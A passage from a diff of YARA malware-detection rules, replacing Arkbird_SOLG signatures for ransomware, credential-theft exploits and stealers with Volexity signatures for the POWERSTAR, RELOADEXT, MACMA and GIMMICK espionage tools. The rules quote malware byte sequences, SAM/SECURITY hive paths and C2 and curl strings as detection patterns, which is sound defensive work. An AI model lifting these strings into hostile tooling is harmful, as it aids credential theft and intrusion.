-		$str2 = { 1b 30 05 00 1a 01 00 00 04 00 00 11 16 0a 73 28 00 00 0a 0b 07 6f 29 00 00 0a 1e 5b 8d 2c 00 00 01 0c 07 6f 2a 00 00 0a 1e 5b 8d 2c 00 00 01 0d 73 2b 00 00 0a 13 06 11 06 08 6f 2c 00 00 0a 11 06 09 6f 2c 00 00 0a de 0c 11 06 2c 07 11 06 6f 12 00 00 0a dc 08 8e 69 09 8e 69 58 8d 2c 00 00 01 13 04 08 11 04 08 8e 69 28 2d 00 00 0a 09 16 11 04 08 8e 69 09 8e 69 28 2e 00 00 0a 11 04 04 28 06 00 00 06 13 04 11 04 8e 69 28 2f 00 00 0a 13 05 07 08 09 6f 30 00 00 0a 13 07 02 19 73 31 00 00 0a 13 08 03 18 73 31 00 00 0a 13 09 11 09 11 07 17 73 32 00 00 0a 13 0a 11 09 11 05 16 11 05 8e 69 6f 33 00 00 0a 11 09 11 04 16 11 04 8e 69 6f 33 00 00 0a 11 08 11 0a 20 [4] 6f 34 00 00 0a de 30 11 0a 2c 07 11 0a 6f 12 00 00 0a dc 11 09 2c 07 11 09 6f 12 00 00 0a dc 11 08 2c 07 11 08 6f 12 00 00 0a dc 11 07 2c 07 11 07 6f 12 00 00 0a dc 17 0a de 0a 07 2c 06 07 6f 12 00 00 0a dc 06 2a 00 00 41 94 00 00 02 00 00 00 2b 00 00 00 12 00 00 00 3d 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 ae 00 00 00 2c 00 00 00 da 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 a2 00 00 00 44 00 00 00 e6 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 99 00 00 00 59 00 00 00 f2 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 90 00 00 00 6e 00 00 00 fe 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 08 00 00 00 06 01 00 00 0e 01 00 00 0a 00 00 00 00 00 00 00 }
-		$str3 = { 1b 30 03 00 24 00 00 00 05 00 00 11 73 35 00 00 0a 0a 06 03 6f 36 00 00 0a 06 02 17 6f 37 00 00 0a 0b de 0a 06 2c 06 06 6f 12 00 00 0a dc 07 2a 01 10 00 00 02 00 06 00 12 18 00 0a 00 00 00 00 }
+		$remote = "remote-cert-tls server" ascii
+		$ip = "Ip: "
+		$tls = "<tls_auth>"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >5KB and 2 of them
+		all of them
 }
-rule ARKBIRD_SOLG_RAN_Crylock_July_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Delivery_Win_Charming_Openvpn_Client : CHARMINGCYPRESS FILE
 {
 	meta:
-		description = "Detect CryLock ransomware (ex-Cryakl)"
-		author = "Arkbird_SOLG"
-		id = "350bd622-f4b5-5837-a239-dc506b100aef"
-		date = "2021-07-17"
-		modified = "2021-07-17"
-		reference = "https://twitter.com/BushidoToken/status/1415958829318217730"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-16/Crylock/RAN_Crylock_July_2021_1.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "4f5046a64e7491085a55d8d1f2b5b056dc0aa89fcdea47652ecb7db680de2f59"
+		description = "Detects a fake OpenVPN client developed by CharmingCypress."
+		author = "threatintel@volexity.com"
+		id = "b69fdd72-4a55-5e83-b754-401fe9339007"
+		date = "2023-10-17"
+		modified = "2023-10-27"
+		reference = "TIB-20231027"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-02-13 CharmingCypress/rules.yar#L287-L310"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "02596a62cb1ba17ecabef0ae93f434e4774b00422a6da2106a2bc4c59d2f8077"
 		score = 75
-		quality = 65
-		tags = "FILE"
-		hash1 = "a962501ea4cd363dd588c948ff8b0ab24aa4132ff58f4a7806af06efa3b791ef"
-		hash2 = "1c2975dd464d014502a46ba6383943c7de4635e3664011653217dc424d53f8fe"
-		hash3 = "e001f6a5b2d4d2659b010fb5825eb4383e8f415861a244329bc70cfcd18da507"
-		tlp = "White"
-		adversary = "RAAS"
+		quality = 80
+		tags = "CHARMINGCYPRESS, FILE"
+		hash1 = "2d99755d5cd25f857d6d3aa15631b69f570d20f95c6743574f3d3e3e8765f33c"
+		os = "win"
+		os_arch = "all"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9768
+		version = 2
 
 	strings:
-		$s1 = { 2f 63 20 22 70 69 6e 67 20 30 2e 30 2e 30 2e 30 26 64 65 6c 20 22 }
-		$s2 = { 7b 45 4e 43 52 59 50 54 53 54 41 52 54 7d 7b }
-		$s3 = { 7b 45 4e 43 52 59 50 54 45 4e 44 45 44 7d }
-		$s4 = { 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 45 58 54 45 4e 41 54 49 4f 4e 53 5c 5c 5c 00 ff ff ff ff 17 00 00 00 2f 2f 2f 45 4e 44 20 43 4f 4d 4d 41 4e 44 53 20 4c 49 53 54 5c 5c 5c 00 ff ff ff ff 1d 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 4b 49 4c 4c 20 4c 49 53 54 5c 5c 5c 00 00 00 ff ff ff ff 1c 00 00 00 2f 2f 2f 45 4e 44 20 53 45 52 56 49 43 45 53 20 53 54 4f 50 20 4c 49 53 54 5c 5c 5c 00 00 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 57 48 49 54 45 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 49 4c 45 53 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 20 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 4f 4c 44 45 52 53 20 4c 49 53 54 5c 5c 5c }
-		$s5 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 }
-		$s6 = { 3c 25 55 4e 44 45 43 52 59 50 54 5f 44 41 54 45 54 49 4d 45 25 3e }
-		$s7 = { 25 00 73 00 20 00 28 00 25 00 73 00 2c 00 20 00 6c 00 69 00 6e 00 65 00 20 00 25 00 64 00 29 }
+		$s1 = "DONE!"
+		$s2 = "AppCore.dll"
+		$s3 = "ultralight@@"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and 6 of ($s*)
+		all of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Avoslocker_July_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Ps1_Powerstar_Generic : CHARMINGCYPRESS FILE MEMORY
 {
 	meta:
-		description = "Detect AvosLocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "3fbc707f-9802-54bc-933b-bc4c4953b1d0"
-		date = "2021-07-23"
-		modified = "2021-07-24"
-		reference = "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/AvosLocker/RAN_AvosLocker_July_2021_1.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "e2291f574b5ab68e901a76b6511e0ee4c1eee51d5e3eced62bf68ceedb061958"
+		description = "Detects POWERSTAR modules based on common HTTP functions used across modules."
+		author = "threatintel@volexity.com"
+		id = "71a3e99d-e1c8-5ac1-abbc-2ba5cba80799"
+		date = "2023-06-02"
+		modified = "2023-06-28"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-02-13 CharmingCypress/rules.yar#L311-L335"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "4da02190ffd16304eccbc0d12dfcc5637a6b785af0e3dc3dfcafcfe114597eb2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856"
-		hash2 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "CHARMINGCYPRESS, FILE, MEMORY"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9356
+		version = 2
 
 	strings:
-		$s1 = { 64 72 69 76 65 20 25 73 20 74 6f 6f 6b 20 25 66 20 73 65 63 6f 6e 64 73 0a 00 00 00 25 63 3a 00 64 72 69 76 65 3a 20 25 73 }
-		$s2 = { 63 6c 69 65 6e 74 5f 72 73 61 5f 70 72 69 76 3a 20 25 73 0a }
-		$s3 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 45 4e 44 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d }
-		$s4 = { ff 35 b8 2c 46 00 88 9d 7c ef ff ff e8 3c 56 02 00 50 8d 85 71 ef ff ff 50 e8 c5 9e ff ff 83 c4 0c 8d 85 94 ef ff ff 50 53 53 68 14 01 00 00 ff 35 b8 2c 46 00 ff b5 90 ef ff ff ff 15 00 a0 44 00 85 c0 0f 85 cd 00 00 00 8b 35 48 a0 44 00 8d 85 98 fe ff ff 53 68 ff 00 00 00 50 68 00 04 00 00 ff d6 50 53 68 00 10 00 00 ff 15 44 a0 44 00 b1 3e c7 85 70 ef ff ff 3e 7b 6c 6c c7 85 74 ef ff ff 71 6c 04 1e 8b c3 c7 85 78 ef ff ff 1b 4d 34 00 30 8c 05 71 ef ff ff 40 83 f8 0a 73 08 8a 8d 70 ef ff ff eb eb 8d 85 98 fe ff ff 88 9d 7b ef ff ff 50 8d 85 71 ef ff ff 50 e8 23 9e ff ff 0f 28 05 00 8b 45 00 59 0f 11 85 48 ef ff ff 59 0f 28 05 40 8b 45 00 8b cb 0f 11 85 58 ef ff ff 66 c7 }
-		$s5 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 a6 ca ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 48 a1 44 00 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b }
-		$s6 = { 4d 61 70 3a 20 25 73 0a 00 00 00 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6e 00 67 00 20 00 25 00 6c 00 73 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 }
-		$s7 = { 44 6f 6e 65 21 21 0a 00 25 66 20 73 65 63 6f 6e 64 73 0a }
-		$s8 = { 56 68 01 00 00 08 6a 01 52 ff 15 14 a0 44 00 85 c0 0f 84 97 00 00 00 8d 45 f8 50 53 53 6a 06 53 ff 36 8b 1d 20 a0 44 00 ff d3 85 c0 74 73 ff 75 f8 e8 3b a7 01 00 a3 b8 2c 46 00 59 85 c0 }
+		$http1 = "Send_Upload" ascii wide
+		$http2 = "Send_Post_Data" ascii wide
+		$json1 = "{\"OS\":\"" ascii wide
+		$json2 = "{\"ComputerName\":\"' + $env:COMPUTERNAME + '\"}" ascii wide
+		$json3 = "{\"Token\"" ascii wide
+		$json4 = "{\"num\":\"" ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and filesize >50KB and 6 of ($s*)
+		all of ($http*) or all of ($json*)
 }
-rule ARKBIRD_SOLG_Exp_CVE_2021_36934_July_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Any_Reloadext_Plugin : STORMBAMBOO FILE MEMORY
 {
 	meta:
-		description = "Detect CVE_2021_36934 exploit (HiveNightmare)"
-		author = "Arkbird_SOLG"
-		id = "3a0ed4f7-8a99-569f-a636-4cd64c2121bb"
-		date = "2021-07-23"
-		modified = "2021-07-23"
-		reference = "https://github.com/GossiTheDog/HiveNightmare"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/HiveNightmare/Exp_CVE_2021_36934_July_2021_1.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "2fd6cdf8a81f239473716d2c10a1754ebb2c60099eebd9d0cc1450ad3441075b"
+		description = "Detection for RELOADEXT, a Google Chrome extension malware."
+		author = "threatintel@volexity.com"
+		id = "6c6c8bee-2a13-5645-89ef-779f00264fd9"
+		date = "2024-02-23"
+		modified = "2024-08-02"
+		reference = "TIB-20240227"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L4-L36"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "2b11f8fc5b6260ebf00bde83585cd7469709a4979ca579cdf065724bc15052fc"
 		score = 75
-		quality = 48
-		tags = "FILE"
-		hash1 = "0009d4950559b508353b951a314c5ac0aaae8161751017d3d4681dc805374eaa"
-		hash2 = "7baab69f86b50199456c9208624dd16aeb0d18d8a6f2010ee6501a183476f12f"
-		hash3 = "9035f88894a937892c63ac9a3c6c16301c7ecea7c11cf31d0fd24c39f17c8c2f"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "STORMBAMBOO, FILE, MEMORY"
+		hash1 = "9d0928b3cc21ee5e1f2868f692421165f46b5014a901636c2a2b32a4c500f761"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file,memory"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10282
+		version = 4
 
 	strings:
-		$s1 = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy" fullword wide
-		$s2 = "Windows\\System32\\config\\SECURITY" fullword wide
-		$s3 = "Windows\\System32\\config\\SYSTEM" fullword wide
-		$s4 = "Windows\\System32\\config\\SAM" fullword wide
-		$s5 = "SECURITY-" fullword wide
-		$s6 = { 43 6f 75 6c 64 20 6e 6f 74 20 6f 70 65 6e 20 53 45 43 55 52 49 54 59 20 3a  }
-		$s7 = { 7a d1 3f 99 5c 2d 21 79 f2 21 3d 00 58 ac 30 7a b5 d1 3f 7e 84 ff 62 3e cf 3d 3d }
+		$man1 = "Reload page with Internet Explorer compatible mode."
+		$man2 = "\"http://*/*\""
+		$code1 = ";chrome["
+		$code2 = "XMLHttpRequest(),_"
+		$code3 = "0x400*0x400"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >50KB and 5 of ($s*)
+		all of ($man*) or (#code1>8 and #code2>=2 and #code3>=2)
 }
-rule ARKBIRD_SOLG_Exp_Petitpotam_July_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Macos_Reloadext_Installer : STORMBAMBOO FILE MEMORY
 {
 	meta:
-		description = "Detect PetitPotam exploit (local exploit version)"
-		author = "Arkbird_SOLG"
-		id = "dd23c77d-9929-5130-aad8-2bcc0a7dcbaa"
-		date = "2021-07-23"
-		modified = "2021-07-24"
-		reference = "https://github.com/topotam/PetitPotam"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/PetitPotam/Exp_PetitPotam_July_2021_1.yara#L1-L24"
-		license_url = "N/A"
-		logic_hash = "a33a1dc2a3593063de2b65e01a770ff5c72ad360d88efdca588eacb8817fb91d"
+		description = "Detect the RELOADEXT installer."
+		author = "threatintel@volexity.com"
+		id = "c65ea2b5-ab98-5693-92ea-05c0f1ea1e5b"
+		date = "2024-02-23"
+		modified = "2024-08-02"
+		reference = "TIB-20240227"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L37-L62"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "8688796839202d95ded15e10262a7a7c7cbbae4a332b60305402e5984005d452"
 		score = 75
-		quality = 69
-		tags = "FILE"
-		hash1 = "10cbadc2c82178d3b7bdf96ab39b9e8580ee92c2038728b74d314e506c7a9144"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "STORMBAMBOO, FILE, MEMORY"
+		hash1 = "07e3b067dc5e5de377ce4a5eff3ccd4e6a2f1d7a47c23fe06b1ededa7aed1ab3"
+		os = "darwin"
+		os_arch = "all"
+		scan_context = "file,memory"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10281
+		version = 2
 
 	strings:
-		$s1 = "\\pipe\\lsarpc" fullword wide
-		$s2 = { 5c 00 5c 00 25 00 73 00 5c 00 [4-12] 5c 00 [4-12] 00 2e 00 65 00 78 00 65 }
-		$s3 = { 5c 00 5c 00 25 00 73 00 00 00 00 00 6e 00 63 00 61 00 63 00 6e 00 5f 00 6e 00 70 }
-		$s4 = { 23 46 69 6c 65 20 45 72 72 6f 72 23 28 25 64 29 20 3a }
-		$s5 = { 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 20 61 74 20 66 69 6c 65 20 25 68 73 20 6c 69 6e 65 20 25 64 }
-		$s6 = { 50 e8 06 95 ff ff 83 c4 10 c7 85 00 ff ff ff 00 00 00 00 8b 85 00 ff ff ff 50 8d 8d 0c ff ff ff 51 8d 55 dc 52 8b 45 f4 50 e8 4e 7a ff ff 83 c4 10 89 45 e8 83 7d }
-		$s7 = "Attack success!!!\n" fullword wide
-		$s8 = { 8b 43 0c 56 83 e8 24 8d 73 20 50 56 8d 45 b4 50 8d 45 e8 50 e8 02 02 00 00 68 b8 52 4f 00 8d 45 b4 50 68 bc 52 4f 00 8d 45 e8 50 8b 43 0c 68 c0 52 4f 00 ff 75 10 83 e8 24 68 cc 52 4f 00 50 68 00 53 4f 00 56 68 0c 53 4f 00 68 20 53 4f 00 68 78 53 4f 00 8d 85 c0 fe ff ff 68 f4 00 00 00 50 e8 4e 91 ff ff 83 c4 4c 8d 85 c0 fe ff ff 50 6a 04 }
-		$s9 = { 25 73 25 73 25 70 25 73 25 7a 64 25 73 25 64 25 73 25 73 25 73 25 73 25 73 }
-		$s10 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 00 20 00 3a 00 20 00 25 00 6c 00 73 }
+		$str1 = "/CustomPlug1n/"
+		$str2 = "Chrome NOT installed."
+		$str3 = "-f force kill Chrome"
+		$str4 = "/*} &&cp -rf ${"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >50KB and 7 of ($s*)
+		3 of them
 }
-rule ARKBIRD_SOLG_MAL_Heinote_June_2020_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Any_Macma_A : STORMBAMBOO FILE MEMORY
 {
 	meta:
-		description = "Detect Hienote malware"
-		author = "Arkbird_SOLG"
-		id = "5c0e604a-83d4-5c6f-83fa-0df878da80d8"
-		date = "2020-06-26"
-		modified = "2023-11-22"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1276471822217891840"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-26/Heinote_June_2020-1.yar#L1-L29"
-		license_url = "N/A"
-		logic_hash = "679f1113c9c770910d18da395b13aaef009ecdde91a0c11f931d0d7e63ed122a"
+		description = "Detects variants of the MACMA backdoor, variants of MACMA have been discovered for Windows, macOS and android."
+		author = "threatintel@volexity.com"
+		id = "6ab45af1-41e5-53fc-9297-e2bc07ebf797"
+		date = "2021-11-12"
+		modified = "2024-08-02"
+		reference = "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L64-L112"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "7ebaff9fddf6491d6b1ed9ab14c1b87dc8df850536e55aa723d625a593b33ed7"
 		score = 75
-		quality = 61
-		tags = "FILE"
-		hash1 = "e0a34b9c420ddd930b3f89c13c3f564907dd948e88f668a0fe55ce506220bd73"
+		quality = 53
+		tags = "STORMBAMBOO, FILE, MEMORY"
+		hash1 = "cf5edcff4053e29cb236d3ed1fe06ca93ae6f64f26e25117d68ee130b9bc60c8"
+		hash2 = "9b71fad3280cf36501fe110e022845b29c1fb1343d5250769eada7c36bc45f70"
+		hash3 = "623f99cbe20af8b79cbfea7f485d47d3462d927153d24cac4745d7043c15619a"
+		hash4 = "d599d7814adbab0f1442f5a10074e00f3a776ce183ea924abcd6154f0d068bb4"
+		os = "all"
+		os_arch = "all"
+		report1 = "TIB-20231221"
+		report2 = "TIB-20240227"
+		scan_context = "file,memory"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 6114
+		version = 8
 
 	strings:
-		$s1 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 2d 2d 2d 2d }
-		$s2 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 2d 2d 2d 2d }
-		$s3 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 47 65 74 4d 61 69 6e 50 61 67 65 20 6c 70 73 7a 75 72 6c 20 3d 20 25 73 }
-		$s4 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 73 74 61 74 75 73 20 3d 20 25 64 2f 25 64 20 67 65 74 20 3d 20 25 73 20 73 65 74 20 3d 20 25 73 }
-		$s5 = { 44 65 62 75 67 49 6e 66 6f }
-		$s6 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 2d 2d 2d 2d }
-		$s7 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 66 61 76 20 72 65 74 20 3d 20 25 64 0a }
-		$s8 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 69 20 3d 20 25 64 20 6c 70 73 7a 4d 61 67 69 63 20 3d 20 25 73 0a }
-		$s9 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 53 45 54 43 4f 4f 4b 49 45 48 41 4f 31 32 33 5d 20 6f 6b 20 6f 6b 0a }
-		$s10 = { 75 73 65 72 6e 61 6d 65 3d 22 25 73 22 2c 20 72 65 61 6c 6d 3d 22 25 73 22 2c 20 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 75 72 69 3d 22 25 73 22 2c 20 63 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 6e 63 3d 25 30 38 78 2c 20 71 6f 70 3d 25 73 2c 20 72 65 73 70 6f 6e 73 65 3d 22 25 73 22 }
-		$s11 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword ascii
-		$s12 = { 25 73 20 63 6f 6f 6b 69 65 20 25 73 3d 22 25 73 22 20 66 6f 72 20 64 6f 6d 61 69 6e 20 25 73 2c 20 70 61 74 68 20 25 73 2c 20 65 78 70 69 72 65 20 25 49 36 34 64 0a }
-		$s13 = "User-Agent: %s" fullword ascii
-		$s14 = "Send failure: %s" fullword ascii
-		$s15 = "ftp://%s:%s@%s" fullword ascii
-		$s16 = "Host: %s%s%s" fullword ascii
-		$s17 = "Referer: %s" fullword ascii
+		$magic1 = "curl -o %s http://cgi1.apnic.net/cgi-bin/my-ip.php" fullword ascii
+		$magic2 = "[FST%d]: WhyUserCancel UNKNOW: %d" fullword ascii
+		$magic3 = "[FST%d]: wait C2 prepare ready TIMEOUT, fd: %d" fullword ascii
+		$magic4 = "[FST%d]: wait C2 ack file content TIMEOUT, fd: %d" fullword ascii
+		$magic5 = "[FST%d]: TIMER_CHECK_CANCEL WhyUserCancel UNKNOW: %d" fullword ascii
+		$magic6 = "[FST%d]: encrypt file info key=%s, crc v1=0x%p, v2=0x%p" fullword ascii
+		$s1 = "auto bbbbbaaend:%d path %s" fullword ascii
+		$s2 = "0keyboardRecirderStopv" fullword ascii
+		$s3 = "curl begin..." fullword ascii
+		$s4 = "curl over!" fullword ascii
+		$s5 = "kAgent fail" fullword ascii
+		$s6 = "put !!!!" fullword ascii
+		$s7 = "vret!!!!!! %d" fullword ascii
+		$s8 = "save Setting Success" fullword ascii
+		$s9 = "Start Filesyste Search." fullword ascii
+		$s10 = "./SearchFileTool" fullword ascii
+		$s11 = "put unknow exception in MonitorQueue" fullword ascii
+		$s12 = "./netcfg2.ini" fullword ascii
+		$s13 = ".killchecker_" fullword ascii
+		$s14 = "./param.ini" fullword ascii
 
 	condition:
-		uint16(0)==0x4D5A and filesize <450KB and 14 of them
+		any of ($magic*) or 7 of ($s*)
 }
+import "hash"
 import "pe"
 
-rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Screencapture_June_2020_1 : FILE
+rule VOLEXITY_Apt_Malware_Macos_Gimmick : STORMBAMBOO FILE MEMORY
 {
 	meta:
-		description = "Detect ScreenCapture malware used by Lazarus APT"
-		author = "Arkbird_SOLG, James_inthe_box"
-		id = "bb0463ac-6219-5a12-b3d2-fc82800bda69"
-		date = "2020-06-23"
-		modified = "2021-07-13"
-		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L3-L31"
-		license_url = "N/A"
-		logic_hash = "66f8d3da0f70f6c4ed6f853ab4040d7f96c043e9e194f1720999b48910b3e756"
+		description = "Detects the macOS port of the GIMMICK malware."
+		author = "threatintel@volexity.com"
+		id = "3d485788-4aab-511b-a49e-5dc09d1950a9"
+		date = "2021-10-18"
+		modified = "2024-08-02"
+		reference = "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L113-L171"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "00fba9df2212874a45d44b3d098a7b76c97fcd53ff083c76b784d2b510a4a467"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8"
+		quality = 78
+		tags = "STORMBAMBOO, FILE, MEMORY"
+		hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f"
+		os = "darwin"
+		os_arch = "all"
+		scan_context = "file,memory"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 6022
+		version = 8
 
 	strings:
-		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\ScreenCapture_Win32_DllRelease.pdb" fullword ascii
-		$s2 = "CloseHandle ScreenCaptureMutex failure! %d" fullword ascii
-		$s3 = "ScreenCapture_Win32_DllRelease.dll" fullword ascii
-		$s4 = "ScreenCaptureMutex already created! %s\n" fullword ascii
-		$s5 = "Capturing screen...\n" fullword ascii
-		$s6 = "%s\\P%02d%lu.tmp" fullword ascii
-		$s7 = "ScreenCaptureThread finished!" fullword ascii
-		$s8 = "ScreenCaptureThread started!" fullword ascii
-		$s9 = "ScreenCapture start time set to %llu" fullword ascii
-		$s10 = "ScreenCaptureMutex already created! %s\n" fullword ascii
-		$s11 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
-		$s12 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
-		$s13 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
-		$s14 = "[END] ScreenCaptureThread terminated!" fullword ascii
-		$s15 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
-		$s16 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
-		$s17 = "Entered Windows direcotry, skipping..." fullword ascii
